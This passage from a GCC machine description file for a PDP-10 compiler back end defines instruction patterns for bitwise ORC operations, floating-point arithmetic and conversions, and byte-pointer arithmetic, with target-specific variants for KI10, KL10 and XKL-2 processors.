\"memory_operand\" \"+m\")\n\t(ior:SI (match_dup 0)\n\t\t(not:SI (match_operand:SI 1 \"register_operand\" \"r\"))))\n   (set (match_operand:SI 2 \"register_operand\" \"=1\")\n\t(ior:SI (match_dup 0) (not:SI (match_dup 1))))]\n  \"\"\n  \"orcab %1,%0\")\n(define_insn \"*ORCAB2\"\n  [(set (match_operand:SI 0 \"memory_operand\" \"+m\")\n\t(ior:SI (not:SI (match_operand:SI 1 \"register_operand\" \"r\"))\n\t\t(match_dup 0)))\n   (set (match_operand:SI 2 \"register_operand\" \"=1\")\n\t(ior:SI (not:SI (match_dup 1)) (match_dup 0)))]\n  \"\"\n  \"orcab %1,%0\")\n\n(define_insn \"*ORCMB1\"\n  [(set (match_operand:SI 0 \"memory_operand\" \"+m\")\n\t(ior:SI (not:SI (match_dup 0))\n\t\t(match_operand:SI 1 \"register_operand\" \"r\")))\n   (set (match_operand:SI 2 \"register_operand\" \"=1\")\n\t(ior:SI (not:SI (match_dup 0)) (match_dup 1)))]\n  \"\"\n  \"orcmb %1,%0\")\n(define_insn \"*ORCMB2\"\n  [(set (match_operand:SI 0 \"memory_operand\" \"+m\")\n\t(ior:SI (match_operand:SI 1 \"register_operand\" \"r\")\n\t\t(not:SI (match_dup 0))))\n   (set (match_operand:SI 2 \"register_operand\" \"=1\")\n\t(ior:SI (match_dup 1) (not:SI (match_dup 0))))]\n  \"\"\n  \"orcmb %1,%0\")\n\n;; ORCB\n\n(define_insn \"*ORCB\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"=r,m\")\n        (ior:SI (not:SI (match_operand:SI 1 \"reg_or_mem_operand\" \"%0,0\"))\n                (not:SI (match_operand:SI 2 \"reg_or_mem_operand\" \"rm,r\"))))]\n  \"\"\n  \"@\n   orcb %0,%2\n   orcbm %2,%0\")\n\n(define_insn \"*ORCBI_reg\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n        (ior:SI (not:SI (and:SI (match_operand:SI 1 \"register_operand\" \"x\")\n\t\t\t\t(const_int RIGHT_HALF)))\n\t\t(not:SI (match_operand:SI 2 \"register_operand\" \"0\"))))]\n  \"\"\n  \"orcbi %0,(%1)\")\n(define_insn \"*ORCBI_const_plus_reg\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n        (ior:SI (not:SI (and:SI (plus:SI\n\t\t\t\t (match_operand:SI 1 \"register_operand\" \"x\")\n\t\t\t\t (match_operand:SI 2 \"const_int_operand\" \"I\"))\n\t\t\t\t(const_int RIGHT_HALF)))\n\t\t(not:SI (match_operand:SI 3 \"register_operand\" \"0\"))))]\n  \"\"\n  \"orcbi %0,%2(%1)\")\n\n(define_insn \"*ORCMB1\"\n  [(set (match_operand:SI 0 \"memory_operand\" \"+m\")\n\t(ior:SI (not:SI (match_dup 0))\n\t\t(not:SI (match_operand:SI 1 \"register_operand\" \"r\"))))\n   (set (match_operand:SI 2 \"register_operand\" \"=1\")\n\t(ior:SI (not:SI (match_dup 0)) (not:SI (match_dup 1))))]\n  \"\"\n  \"orcbb %1,%0\")\n(define_insn \"*ORCMB2\"\n  [(set (match_operand:SI 0 \"memory_operand\" \"+m\")\n\t(ior:SI (not:SI (match_operand:SI 1 \"register_operand\" \"r\"))\n\t\t(not:SI (match_dup 0))))\n   (set (match_operand:SI 2 \"register_operand\" \"=1\")\n\t(ior:SI (not:SI (match_dup 1)) (not:SI (match_dup 0))))]\n  \"\"\n  \"orcbb %1,%0\")\n\n;; SETO -- in Data Movement\n\n\f\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;; Floating-point Arithmetic\n\n(define_insn \"addsf3\"\n  [(set (match_operand:SF 0 \"reg_or_mem_operand\" \"=r,r,r,m\")\n\t(plus:SF (match_operand:SF 1 \"reg_or_mem_operand\" \"%0,0,0,0\")\n\t\t (match_operand:SF 2 \"general_operand\" \"rm,G,F,r\")))]\n  \"\"\n  \"@\n   fadr %0,%2\n   fadri %0,%G2\n   fadr %0,[%2]\n   fadrm %2,%0\")\n\n(define_insn \"*FADRB1\"\n  [(set (match_operand:SF 0 \"memory_operand\" \"+m\")\n\t(plus:SF (match_dup 0) (match_operand:SF 1 \"register_operand\" \"r\")))\n   (set (match_operand:SF 2 \"register_operand\" \"=1\")\n\t(plus:SF (match_dup 0) (match_dup 1)))]\n  \"\"\n  \"fadrb %1,%0\")\n(define_insn \"*FADRB2\"\n  [(set (match_operand:SF 0 \"memory_operand\" \"+m\")\n\t(plus:SF (match_operand:SF 1 \"register_operand\" \"r\") (match_dup 0)))\n   (set (match_operand:SF 2 \"register_operand\" \"=1\")\n\t(plus:SF (match_dup 1) (match_dup 0)))]\n  \"\"\n  \"fadrb %1,%0\")\n\n(define_expand \"adddf3\"\n  [(set (match_operand:DF 0 \"register_operand\" \"\")\n\t(plus:DF (match_operand:DF 1 \"register_operand\" \"\")\n\t\t (match_operand:DF 2 \"general_operand\" \"\")))]\n  \"(TARGET_KI10up && !TARGET_GFLOAT) || (TARGET_KL10up && TARGET_GFLOAT)\"\n  \"\")\n\n(define_insn \"DFAD\"\n  [(set (match_operand:DF 0 \"register_operand\" \"=r,r\")\n\t(plus:DF (match_operand:DF 1 \"register_operand\" \"%0,0\")\n\t\t (match_operand:DF 2 \"general_operand\" \"rm,F\")))]\n  \"TARGET_KI10up && !TARGET_GFLOAT\"\n  \"@\n   dfad %0,%2\n   dfad %0,[%2]\")\n\n(define_insn \"*GFAD\"\n  [(set (match_operand:DF 0 \"register_operand\" \"=r,r\")\n\t(plus:DF (match_operand:DF 1 \"register_operand\" \"%0,0\")\n\t\t (match_operand:DF 2 \"general_operand\" \"rm,F\")))]\n  \"TARGET_KL10up && TARGET_GFLOAT\"\n  \"@\n   gfad %0,%2\n   gfad %0,[%2]\")\n\n(define_insn \"subsf3\"\n  [(set (match_operand:SF 0 \"reg_or_mem_operand\" \"=r,r,r,m\")\n\t(minus:SF (match_operand:SF 1 \"register_operand\" \"0,0,0,r\")\n\t\t  (match_operand:SF 2 \"general_operand\" \"rm,G,F,0\")))]\n  \"\"\n  \"@\n   fsbr %0,%2\n   fsbri %0,%G2\n   fsbr %0,[%2]\n   fsbrm %1,%0\")\n\n(define_insn \"*FSBRB\"\n  [(set (match_operand:SF 0 \"memory_operand\" \"+m\")\n\t(minus:SF (match_operand:SF 1 \"register_operand\" \"r\") (match_dup 0)))\n   (set (match_operand:SF 2 \"register_operand\" \"=1\")\n\t(minus:SF (match_dup 1) (match_dup 0)))]\n  \"\"\n  \"fsbrb %1,%0\")\n\n(define_expand \"subdf3\"\n  [(set (match_operand:DF 0 \"register_operand\" \"\")\n\t(minus:DF (match_operand:DF 1 \"register_operand\" \"\")\n\t\t  (match_operand:DF 2 \"general_operand\" \"\")))]\n  \"TARGET_KI10up\"\n  \"\")\n\n(define_insn \"*DFSB\"\n  [(set (match_operand:DF 0 \"register_operand\" \"=r,r\")\n\t(minus:DF (match_operand:DF 1 \"register_operand\" \"0,0\")\n\t\t  (match_operand:DF 2 \"general_operand\" \"rm,F\")))]\n  \"TARGET_KI10up && !TARGET_GFLOAT\"\n  \"@\n   dfsb %0,%2\n   dfsb %0,[%2]\")\n\n(define_insn \"*GFSB\"\n  [(set (match_operand:DF 0 \"register_operand\" \"=r,r\")\n\t(minus:DF (match_operand:DF 1 \"register_operand\" \"0,0\")\n\t\t  (match_operand:DF 2 \"general_operand\" \"rm,F\")))]\n  \"TARGET_KL10up && TARGET_GFLOAT\"\n  \"@\n   gfsb %0,%2\n   gfsb %0,[%2]\")\n\n(define_insn \"abssf2\"\n  [(set (match_operand:SF 0 \"reg_or_mem_operand\" \"=r,m,m\")\n\t(abs:SF (match_operand:SF 1 \"reg_or_mem_operand\" \"rm,r,0\")))]\n  \"\"\n  \"@\n   movm %0,%1\n   movmm %1,%0\n   movms %0\")\n\n(define_insn \"*MOVMSsf\"\n  [(set (match_operand:SF 0 \"reg_or_mem_operand\" \"+rm\")\n\t(abs:SF (match_dup 0)))\n   (set (match_operand:SF 1 \"register_operand\" \"=x\")\n\t(abs:SF (match_dup 0)))]\n  \"\"\n  \"movms %1,%0\")\n\n(define_insn \"negsf2\"\n  [(set (match_operand:SF 0 \"reg_or_mem_operand\" \"=r,m,m\")\n\t(neg:SF (match_operand:SF 1 \"reg_or_mem_operand\" \"rm,r,0\")))]\n  \"\"\n  \"@\n   movn %0,%1\n   movnm %1,%0\n   movns %0\")\n\n(define_insn \"*MOVNS\"\n  [(set (match_operand:SF 0 \"reg_or_mem_operand\" \"=rm\")\n\t(neg:SF (match_dup 0)))\n   (set (match_operand:SF 1 \"register_operand\" \"+x\")\n\t(neg:SF (match_dup 0)))]\n  \"\"\n  \"movns %1,%0\")\n\n(define_insn \"negdf2\"\n  [(set (match_operand:DF 0 \"reg_or_mem_operand\" \"=r,m\")\n\t(neg:DF (match_operand:DF 1 \"reg_or_mem_operand\" \"rm,r\")))]\n  \"TARGET_KI10up\"\n  \"@\n   dmovn %0,%1\n   dmovnm %1,%0\")\n\n(define_insn \"mulsf3\"\n  [(set (match_operand:SF 0 \"reg_or_mem_operand\" \"=r,r,r,m\")\n\t(mult:SF (match_operand:SF 1 \"reg_or_mem_operand\" \"%0,0,0,0\")\n\t\t (match_operand:SF 2 \"general_operand\" \"rm,G,F,r\")))]\n  \"\"\n  \"@\n   fmpr %0,%2\n   fmpri %0,%G2\n   fmpr %0,[%2]\n   fmprm %2,%0\")\n\n(define_insn \"*FMPRB1\"\n  [(set (match_operand:SF 0 \"memory_operand\" \"+m\")\n\t(mult:SF (match_dup 0) (match_operand:SF 1 \"register_operand\" \"r\")))\n   (set (match_operand:SF 2 \"register_operand\" \"=1\")\n\t(mult:SF (match_dup 0) (match_dup 1)))]\n  \"\"\n  \"fmprb %1,%0\")\n(define_insn \"*FMPRB2\"\n  [(set (match_operand:SF 0 \"memory_operand\" \"+m\")\n\t(mult:SF (match_operand:SF 1 \"register_operand\" \"r\") (match_dup 0)))\n   (set (match_operand:SF 2 \"register_operand\" \"=1\")\n\t(mult:SF (match_dup 1) (match_dup 0)))]\n  \"\"\n  \"fmprb %1,%0\")\n\n(define_expand \"muldf3\"\n  [(set (match_operand:DF 0 \"register_operand\" \"\")\n\t(mult:DF (match_operand:DF 1 \"register_operand\" \"\")\n\t\t (match_operand:DF 2 \"general_operand\" \"\")))]\n  \"TARGET_KI10up\"\n  \"\")\n\n(define_insn \"*DFMP\"\n  [(set (match_operand:DF 0 \"register_operand\" \"=r,r\")\n\t(mult:DF (match_operand:DF 1 \"register_operand\" \"%0,0\")\n\t\t (match_operand:DF 2 \"general_operand\" \"rm,F\")))]\n  \"TARGET_KI10up && !TARGET_GFLOAT\"\n  \"@\n   dfmp %0,%2\n   dfmp %0,[%2]\")\n\n(define_insn \"*GFMP\"\n  [(set (match_operand:DF 0 \"register_operand\" \"=r,r\")\n\t(mult:DF (match_operand:DF 1 \"register_operand\" \"%0,0\")\n\t\t (match_operand:DF 2 \"general_operand\" \"rm,F\")))]\n  \"TARGET_KL10up && TARGET_GFLOAT\"\n  \"@\n   gfmp %0,%2\n   gfmp %0,[%2]\")\n\n(define_insn \"divsf3\"\n  [(set (match_operand:SF 0 \"reg_or_mem_operand\" \"=r,r,r,m\")\n\t(div:SF (match_operand:SF 1 \"register_operand\" \"0,0,0,r\")\n\t\t(match_operand:SF 2 \"general_operand\" \"rm,G,F,0\")))]\n  \"\"\n  \"@\n   fdvr %0,%2\n   fdvri %0,%G2\n   fdvr %0,[%2]\n   fdvrm %1,%0\")\n\n(define_insn \"*FDVRB2\"\n  [(set (match_operand:SF 0 \"memory_operand\" \"+m\")\n\t(div:SF (match_operand:SF 1 \"register_operand\" \"r\") (match_dup 0)))\n   (set (match_operand:SF 2 \"register_operand\" \"=1\")\n\t(div:SF (match_dup 1) (match_dup 0)))]\n  \"\"\n  \"fdvrb %1,%0\")\n\n(define_expand \"divdf3\"\n  [(set (match_operand:DF 0 \"register_operand\" \"\")\n\t(div:DF (match_operand:DF 1 \"register_operand\" \"\")\n\t\t(match_operand:DF 2 \"general_operand\" \"\")))]\n  \"TARGET_KI10up\"\n  \"\")\n\n(define_insn \"*DFDV\"\n  [(set (match_operand:DF 0 \"register_operand\" \"=r,r\")\n\t(div:DF (match_operand:DF 1 \"register_operand\" \"0,0\")\n\t\t(match_operand:DF 2 \"general_operand\" \"rm,F\")))]\n  \"TARGET_KI10up && !TARGET_GFLOAT\"\n  \"@\n   dfdv %0,%2\n   dfdv %0,[%2]\")\n\n(define_insn \"*GFDV\"\n  [(set (match_operand:DF 0 \"register_operand\" \"=r,r\")\n\t(div:DF (match_operand:DF 1 \"register_operand\" \"0,0\")\n\t\t(match_operand:DF 2 \"general_operand\" \"rm,F\")))]\n  \"TARGET_KL10up && TARGET_GFLOAT\"\n  \"@\n   gfdv %0,%2\n   gfdv %0,[%2]\")\n\n(define_insn \"sqrtsf2\"\n  [(set (match_operand:SF 0 \"register_operand\" \"=r\")\n\t(sqrt:SF (match_operand:SF 1 \"reg_or_mem_operand\" \"rm\")))]\n  \"TARGET_XKL2\"\n  \"extend %0,[sqrt %1]\")\n\n(define_expand \"sqrtdf2\"\n  [(set (match_operand:DF 0 \"register_operand\" \"\")\n\t(sqrt:DF (match_operand:DF 1 \"reg_or_mem_operand\" \"\")))]\n  \"TARGET_XKL2\"\n  \"\")\n\n(define_insn \"*DSQRT\"\n  [(set (match_operand:DF 0 \"register_operand\" \"=r\")\n\t(sqrt:DF (match_operand:DF 1 \"reg_or_mem_operand\" \"rm\")))]\n  \"TARGET_XKL2 && !TARGET_GFLOAT\"\n  \"extend %0,[dsqrt %1]\")\n\n(define_insn \"*GSQRT\"\n  [(set (match_operand:DF 0 \"register_operand\" \"=r\")\n\t(sqrt:DF (match_operand:DF 1 \"reg_or_mem_operand\" \"rm\")))]\n  \"TARGET_XKL2 && TARGET_GFLOAT\"\n  \"extend %0,[gsqrt %1]\")\n\n(define_insn \"FSC\"\n  [(set (match_operand:SF 0 \"register_operand\" \"=r,r\")\n\t(unspec:SF\n\t [(match_operand:SF 1 \"register_operand\" \"0,0\")\n\t  (match_operand:SI 2 \"nonmemory_operand\" \"K,x\")]\n\t UNSPEC_FSC))]\n  \"\"\n  \"@\n   fsc %0,%2\n   fsc %0,(%2)\")\n\n(define_expand \"DFSC\"\n  [(set (match_operand:DF 0 \"register_operand\" \"=r,r\")\n\t(unspec:DF\n\t [(match_operand:DF 1 \"register_operand\" \"0,0\")\n\t  (match_operand:SI 2 \"nonmemory_operand\" \"K,r\")]\n\t UNSPEC_FSC))]\n  \"!TARGET_GFLOAT\"\n  \"if (!TARGET_XKL2)\n     {\n       rtx x = gen_rtx_REG (SFmode, REGNO (operands[0]));\n       if (!flag_unsafe_math_optimizations)\n\t emit_insn (gen_DFAD (operands[0], operands[1], CONST0_RTX (DFmode)));\n       emit_insn (gen_FSC (x, x, operands[2]));\n       DONE;\n     }\")\n\n(define_insn \"*DFSC\"\n  [(set (match_operand:DF 0 \"register_operand\" \"=r,r\")\n\t(unspec:DF\n\t [(match_operand:DF 1 \"register_operand\" \"0,0\")\n\t  (match_operand:SI 2 \"nonmemory_operand\" \"K,x\")]\n\t UNSPEC_FSC))]\n  \"TARGET_XKL2 && !TARGET_GFLOAT\"\n  \"@\n   extend %0,[dfsc %2]\n   extend %0,[dfsc (%2)]\")\n\n(define_insn \"GFSC\"\n  [(set (match_operand:DF 0 \"register_operand\" \"=r,r\")\n\t(unspec:DF\n\t [(match_operand:DF 1 \"register_operand\" \"0,0\")\n\t  (match_operand:SI 2 \"nonmemory_operand\" \"K,x\")]\n\t UNSPEC_FSC))]\n  \"TARGET_KL10up && TARGET_GFLOAT\"\n  \"@\n   extend %0,[gfsc %2]\n   extend %0,[gfsc (%2)]\")\n\n\f\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;; Floating-point Conversions\n\n(define_expand \"fix_truncsfsi2\"\n  [(set (match_operand:SI 0 \"register_operand\" \"\")\n\t(fix:SI (match_operand:SF 1 \"reg_or_mem_operand\" \"\")))]\n  \"\"\n  \"if (!TARGET_KI10up)\n     {\n       rtx temp = gen_reg_rtx (DImode);\n       rtx temp0 = gen_rtx_SUBREG (SImode, temp, 0);\n       rtx temp1 = gen_rtx_SUBREG (SImode, temp, 4);\n\n       /* Sequence taken from KCC.  */\n       emit_insn (gen_MUL (temp,\n\t\t\t   gen_rtx_SUBREG (SImode, operands[1], 0),\n\t\t\t   GEN_INT (0400)));\n       emit_insn (gen_TSC (temp0, temp0));\n       /*emit_insn (gen_ashrsi3 (operands[0], temp1,\n\t\t\t     gen_rtx_PLUS (SImode, temp0, GEN_INT (-0243))));*/\n       emit_insn\n\t (gen_rtx_SET\n\t    (VOIDmode,\n\t     operands[0],\n\t     gen_rtx_ASHIFTRT\n\t       (SImode,\n\t\ttemp0,\n\t\tgen_rtx_NEG\n\t\t  (SImode,\n\t\t   gen_rtx_PLUS\n\t\t     (SImode,\n\t\t      temp1,\n\t\t      GEN_INT (-0243))))));\n\t\t\t\t\t     \n       DONE;\n     }\")\n\n(define_insn \"*fix_truncsfsi2\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(fix:SI (match_operand:SF 1 \"reg_or_mem_operand\" \"rm\")))]\n  \"TARGET_KI10up\"\n  \"fix %0,%1\")\n\n; (define_insn \"fix_truncsfdi2\" ...)\n\n(define_expand \"fix_truncdfsi2\"\n  [(set (match_operand:SI 0 \"register_operand\" \"\")\n\t(fix:SI (match_operand:DF 1 \"reg_or_mem_operand\" \"\")))]\n  \"(TARGET_KL10up && TARGET_GFLOAT) || (TARGET_XKL2 && !TARGET_GFLOAT)\"\n  \"\")\n\n(define_insn \"*DFIX\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(fix:SI (match_operand:DF 1 \"reg_or_mem_operand\" \"rm\")))]\n  \"TARGET_XKL2 && !TARGET_GFLOAT\"\n  \"extend %0,[dfix %1]\")\n\n(define_insn \"*GFIX\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(fix:SI (match_operand:DF 1 \"reg_or_mem_operand\" \"rm\")))]\n  \"TARGET_KL10up && TARGET_GFLOAT\"\n  \"extend %0,[gfix %1]\")\n\n(define_expand \"fix_truncdfdi2\"\n  [(set (match_operand:DI 0 \"register_operand\" \"\")\n\t(fix:DI (match_operand:DF 1 \"reg_or_mem_operand\" \"\")))]\n  \"(TARGET_KL10up && TARGET_GFLOAT) || (TARGET_XKL2 && !TARGET_GFLOAT)\"\n  \"\")\n\n(define_insn \"*DDFIX\"\n  [(set (match_operand:DI 0 \"register_operand\" \"=r\")\n\t(fix:DI (match_operand:DF 1 \"reg_or_mem_operand\" \"rm\")))]\n  \"TARGET_XKL2 && !TARGET_GFLOAT\"\n  \"extend %0,[ddfix %1]\")\n\n(define_insn \"*GDFIX\"\n  [(set (match_operand:DI 0 \"register_operand\" \"=r\")\n\t(fix:DI (match_operand:DF 1 \"reg_or_mem_operand\" \"rm\")))]\n  \"TARGET_KL10up && TARGET_GFLOAT\"\n  \"extend %0,[gdfix %1]\")\n\n(define_insn \"floatunsqisf2\"\n  [(set (match_operand:SF 0 \"register_operand\" \"=r\")\n\t(unsigned_float:SF (match_operand:QI 1 \"register_operand\" \"0\")))]\n  \"\"\n  \"fsc %0,233\")\n\n(define_insn \"floatunshisf2\"\n  [(set (match_operand:SF 0 \"register_operand\" \"=r\")\n\t(unsigned_float:SF (match_operand:HI 1 \"register_operand\" \"0\")))]\n  \"\"\n  \"fsc %0,233\")\n\n(define_insn \"floatsisf2\"\n  [(set (match_operand:SF 0 \"register_operand\" \"=r\")\n\t(float:SF (match_operand:SI 1 \"reg_or_mem_operand\" \"rm\")))]\n  \"TARGET_KI10up\"\n  \"fltr %0,%1\")\n\n(define_insn \"floatunssisf2\"\n  [(set (match_operand:SF 0 \"register_operand\" \"=r\")\n\t(unsigned_float:SF (match_operand:SI 1 \"reg_or_mem_operand\" \"rm\")))]\n  \"TARGET_KI10up\"\n  {\n    if (TARGET_XKL2)\n      return \"ufltr %0,%1\";\n    else\n      /* Sequence taken from KCC.  */\n      return \"skipge %0,%1\\;%_lsh %0,1\\;fltr %0,%0\\;skipge %@%1\\;%_fsc %0,1\";\n  }\n  [(set (attr \"length\")\n\t(if_then_else (ne (symbol_ref \"TARGET_XKL2\") (const_int 0))\n\t\t      (const_int 1)\n\t\t      (const_int 5)))])\n\n; (define_insn \"floatdisf2\" ...)\n\n(define_insn \"floatunsqidf2\"\n  [(set (match_operand:DF 0 \"register_operand\" \"=r\")\n\t(unsigned_float:DF (match_operand:QI 1 \"register_operand\" \"0\")))]\n  \"!TARGET_GFLOAT\"\n  \"fsc %0,233\\;movei %Z0,0\"\n  [(set_attr \"length\" \"2\")])\n\n(define_insn \"floatunshidf2\"\n  [(set (match_operand:DF 0 \"register_operand\" \"=r\")\n\t(unsigned_float:DF (match_operand:HI 1 \"register_operand\" \"0\")))]\n  \"!TARGET_GFLOAT\"\n  \"fsc %0,233\\;movei %Z0,0\"\n  [(set_attr \"length\" \"2\")])\n\n(define_expand \"floatsidf2\"\n  [(set (match_operand:DF 0 \"register_operand\" \"\")\n\t(float:DF (match_operand:SI 1 \"reg_or_mem_operand\" \"\")))]\n  \"TARGET_KL10up || (TARGET_KI10 && !TARGET_GFLOAT)\"\n  \"if (TARGET_KI10up && !TARGET_XKL2 && !TARGET_GFLOAT)\n     {\n       rtx temp = gen_rtx_SUBREG (DImode, operands[0], 0);\n       rtx temp0 = gen_rtx_SUBREG (SImode, operands[0], 0);\n       rtx temp1 = gen_rtx_SUBREG (SImode, operands[0], 4);\n\n       /* Sequence taken from KCC.  */\n       emit_move_insn (temp0, operands[1]);\n       emit_move_insn (temp1, const0_rtx);\n       emit_insn (gen_ASHC_right (temp, temp, GEN_INT (8)));\n       emit_insn (gen_xorsi3 (temp0, temp0,\n\t\t\t      GEN_INT ((HOST_WIDE_INT)0243 << 27)));\n       if (!flag_unsafe_math_optimizations)\n\t emit_insn (gen_adddf3 (operands[0], operands[0],\n\t\t\t\tCONST0_RTX (DFmode)));\n       DONE;\n     }\")\n\n(define_insn \"*DFLTR\"\n  [(set (match_operand:DF 0 \"register_operand\" \"=r\")\n\t(float:DF (match_operand:SI 1 \"reg_or_mem_operand\" \"rm\")))]\n  \"TARGET_XKL2 && !TARGET_GFLOAT\"\n  \"extend %0,[dfltr %1]\")\n\n(define_insn \"*GFLTR\"\n  [(set (match_operand:DF 0 \"register_operand\" \"=r\")\n\t(float:DF (match_operand:SI 1 \"reg_or_mem_operand\" \"rm\")))]\n  \"TARGET_KL10up && TARGET_GFLOAT\"\n  \"extend %0,[gfltr %1]\")\n\n(define_expand \"floatunssidf2\"\n  [(set (match_operand:DF 0 \"register_operand\" \"\")\n\t(unsigned_float:DF (match_operand:SI 1 \"reg_or_mem_operand\" \"\")))]\n  \"\"\n  \"if (!TARGET_XKL2)\n     {\n       rtx temp = gen_rtx_SUBREG (DImode, operands[0], 0);\n       rtx temp0 = gen_rtx_SUBREG (SImode, operands[0], 0);\n       rtx temp1 = gen_rtx_SUBREG (SImode, operands[0], 4);\n\n       /* Sequence taken from KCC.  */\n       emit_move_insn (temp0, operands[1]);\n       emit_move_insn (temp1, const0_rtx);\n       emit_insn (gen_lshrdi3 (temp, temp, GEN_INT (9)));\n       emit_insn (gen_lshrsi3 (temp1, temp1, GEN_INT (1)));\n       emit_insn (gen_xorsi3 (temp0, temp0,\n\t\t\t      TARGET_GFLOAT\n\t\t\t      ? GEN_INT ((HOST_WIDE_INT)02743 << 24)\n\t\t\t      : GEN_INT ((HOST_WIDE_INT)0243 << 27)));\n       if (!flag_unsafe_math_optimizations)\n\t emit_insn (gen_adddf3 (operands[0], operands[0],\n\t\t\t\tCONST0_RTX (DFmode)));\n       DONE;\n     }\")\n\n(define_insn \"*UDFLTR\"\n  [(set (match_operand:DF 0 \"register_operand\" \"=r\")\n\t(unsigned_float:DF (match_operand:SI 1 \"reg_or_mem_operand\" \"rm\")))]\n  \"TARGET_XKL2 && !TARGET_GFLOAT\"\n  \"extend %0,[udfltr %1]\")\n\n(define_insn \"*UGFLTR\"\n  [(set (match_operand:DF 0 \"register_operand\" \"=r\")\n\t(unsigned_float:DF (match_operand:SI 1 \"reg_or_mem_operand\" \"rm\")))]\n  \"TARGET_XKL2 && TARGET_GFLOAT\"\n  \"extend %0,[ugfltr %1]\")\n\n(define_expand \"floatdidf2\"\n  [(set (match_operand:DF 0 \"register_operand\" \"\")\n\t(float:DF (match_operand:DI 1 \"reg_or_mem_operand\" \"\")))]\n  \"(TARGET_KL10up && TARGET_GFLOAT) || (TARGET_XKL2 && !TARGET_GFLOAT)\"\n  \"\")\n\n(define_insn \"*DDFLTR\"\n  [(set (match_operand:DF 0 \"register_operand\" \"=r\")\n\t(float:DF (match_operand:DI 1 \"reg_or_mem_operand\" \"rm\")))]\n  \"TARGET_XKL2 && !TARGET_GFLOAT\"\n  \"extend %0,[ddfltr %1]\")\n\n(define_insn \"*DGFLTR\"\n  [(set (match_operand:DF 0 \"register_operand\" \"=r\")\n\t(float:DF (match_operand:DI 1 \"reg_or_mem_operand\" \"rm\")))]\n  \"TARGET_KL10up && TARGET_GFLOAT\"\n  \"extend %0,[dgfltr %1]\")\n\n(define_expand \"extendsfdf2\"\n  [(set (match_operand:DF 0 \"reg_or_mem_operand\" \"\")\n\t(float_extend:DF (match_operand:SF 1 \"reg_or_mem_operand\" \"\")))]\n  \"!TARGET_GFLOAT || TARGET_KL10up\"\n  \"\")\n\n;; Extend to D-float by moving the high-order word (if necessary) and\n;; zeroing the low-order word.\n(define_insn \"*extendsfdf2\"\n  [(set (match_operand:DF 0 \"reg_or_mem_operand\" \"=r,o,r,o\")\n\t(float_extend:DF\n\t (match_operand:SF 1 \"reg_or_mem_operand\" \"0,0,rm,r\")))]\n  \"!TARGET_GFLOAT\"\n  \"@\n   movei %Z0,0%; extendsfdf2\n   setzm %Z0%; extendsfdf2\n   move %0,%1%; extendsfdf2\\;movei %Z0,0%; extendsfdf2\n   movem %1,%0%; extendsfdf2\\;setzm %Z0%; extendsfdf2\"\n  [(set (attr \"length\")\n\t(if_then_else (eq_attr \"alternative\" \"0,1\")\n\t\t      (const_int 1)\n\t\t      (const_int 2)))])\n\n(define_insn \"*GSNGL\"\n  [(set (match_operand:DF 0 \"register_operand\" \"=r\")\n\t(float_extend:DF (match_operand:SF 1 \"reg_or_mem_operand\" \"rm\")))]\n  \"TARGET_KL10up && TARGET_GFLOAT\"\n  \"extend %0,[gsngl %1]\")\n\n(define_expand \"truncdfsf2\"\n  [(set (match_operand:SF 0 \"reg_or_mem_operand\" \"\")\n\t(float_truncate:SF (match_operand:DF 1 \"reg_or_mem_operand\" \"\")))]\n  \"!TARGET_GFLOAT || TARGET_KL10up\"\n  \"\")\n\n;; Truncate from D-float by just dropping the low-order word.\n;; FIXME: this is not good enough, rounding needed.  Or is it??\n(define_insn \"*truncdfsf2\"\n  [(set (match_operand:SF 0 \"reg_or_mem_operand\" \"=r,m,r,m\")\n\t(float_truncate:SF\n\t (match_operand:DF 1 \"reg_or_mem_operand\" \"0,0,rm,r\")))]\n  \"!TARGET_GFLOAT\"\n  \"@\n   \\\\t%; truncdfsf2\n   \\\\t%; truncdfsf2\n   move %0,%1%; truncdfsf2\n   movem %1,%0%; truncdfsf2\"\n  [(set (attr \"length\")\n\t(if_then_else (eq_attr \"alternative\" \"0,1\") \n\t\t      (const_int 0)\n\t\t      (const_int 1)))])\n\n(define_insn \"*GDBLE\"\n  [(set (match_operand:SF 0 \"register_operand\" \"=r\")\n\t(float_truncate:SF (match_operand:DF 1 \"reg_or_mem_operand\" \"rm\")))]\n  \"TARGET_KL10up && TARGET_GFLOAT\"\n  \"extend %0,[gdble %1]\")\n\n\f\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;; Pointer Arithmetic\n\n(define_insn \"*ADJBP_0\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"=rm,r,m\")\n\t(unspec:SI\n\t [(match_operand:SI 1 \"reg_or_mem_operand\" \"0,rm,r\")\n\t  (const_int 0)]\n\t UNSPEC_ADJBP))]\n  \"\"\n  \"@\n   %; nothing\n   move %0,%1\n   movem %1,%0\"\n  [(set_attr \"length\" \"0,1,1\")])\n\n(define_insn \"IBP\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"=rm\")\n\t(unspec:SI\n\t [(match_operand:SI 1 \"reg_or_mem_operand\" \"0\")\n\t  (const_int 1)]\n\t UNSPEC_ADJBP))]\n  \"!TARGET_KL10up\"\n  \"ibp %0\"\n  [(set_attr \"reorg_type\" \"ibp\")])\n\n(define_insn \"ADJBP\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"=rm,x,x\")\n\t(unspec:SI\n\t [(match_operand:SI 1 \"general_operand\" \"0,rm,i\")\n\t  (match_operand:SI 2 \"general_operand\" \"Q,0,0\")]\n\t UNSPEC_ADJBP))]\n  \"TARGET_KL10up\"\n  \"@\n   ibp %0\n   adjbp %0,%1\n   adjbp %0,[%1]\"\n  [(set_attr \"reorg_type\" \"ibp,none,none\")])\n\n(define_insn \"MOVEI\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(unspec:SI [(match_operand:SI 1 \"address_operand\" \"p\")]\n\t\t    UNSPEC_ADDRESS))]\n  \"\"\n  {\n    if 